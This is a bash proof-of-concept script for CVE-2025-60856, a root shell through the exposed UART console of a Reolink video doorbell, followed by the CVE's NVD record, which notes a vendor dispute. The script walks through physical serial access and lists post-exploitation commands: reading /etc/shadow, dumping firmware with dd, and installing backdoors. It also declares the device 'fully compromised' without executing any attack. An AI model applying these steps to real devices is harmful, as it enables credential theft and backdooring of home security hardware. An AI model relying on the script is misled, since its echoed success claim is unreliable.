CVE-2025-60856

#!/bin/bash # CVE-2025-60856 PoC: Reolink Video Doorbell UART Root Shell Access # This PoC demonstrates how an attacker with physical access can # obtain root shell access via the exposed UART/serial console. # Requirements: # - USB-to-TTL serial adapter (e.g., CP2102, CH340, FTDI FT232) # - Physical access to the device PCB # - Identify UART pins: TX, RX, GND on the PCB # - Connect adapter to computer # Step 1: Install serial terminal tools # sudo apt-get install minicom picocom screen # Step 2: Identify the serial device # ls /dev/ttyUSB* (Linux) # or check Device Manager (Windows) # Step 3: Connect to UART console # Common baud rates for embedded devices: 115200, 57600, 38400, 9600 # Adjust as needed for this specific device SERIAL_PORT="/dev/ttyUSB0" BAUD_RATE="115200" echo "[*] Connecting to Reolink Video Doorbell UART console..." echo "[*] Port: $SERIAL_PORT, Baud: $BAUD_RATE" # Using minicom to connect # minicom -D $SERIAL_PORT -b $BAUD_RATE # Using screen to connect # screen $SERIAL_PORT $BAUD_RATE # Using picocom to connect # picocom -b $BAUD_RATE $SERIAL_PORT # Step 4: Once connected, power cycle the device to observe boot logs # The console should display Linux boot messages # Step 5: Gain root shell access # If prompted for login, attempt default credentials or exploit # The vulnerability states root shell is accessible # Example session after gaining shell: # root@reolink:~# id # uid=0(root) gid=0(root) groups=0(root) # # root@reolink:~# cat /etc/passwd # root@reolink:~# cat /etc/shadow # root@reolink:~# dmesg | grep -i uart # root@reolink:~# mount # root@reolink:~# ls /tmp /var /etc # Step 6: Post-exploitation # Extract firmware, modify configs, install backdoors, etc. # root@reolink:~# dd if=/dev/mtd0 of=/tmp/firmware_backup.bin # root@reolink:~# cat /etc/config/network echo "[!] Root shell access obtained - device fully compromised" # Cleanup: disconnect serial adapter # Note: Physical evidence of UART connection may be visible on PCB

{"cve": {"id": "CVE-2025-60856", "sourceIdentifier": "[email protected]", "published": "2025-10-20T16:15:39.380", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "Reolink Video Doorbell WiFi DB_566128M5MP_W allows root shell access through an unsecured UART/serial console. An attacker with physical access can connect to the exposed interface and execute arbitrary commands with root privileges. NOTE: this is disputed by the Supplier because of \"certain restrictions on users privately connecting serial port cables\" and because \"the root user has a password and it meets the requirements of password security complexity.\""}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-922"}]}], "references": [{"url": "https://cybermaya.in/posts/Post-46/", "source": "[email protected]"}, {"url": "https://reolink.com/download-center/", "source": "[email protected]"}]}}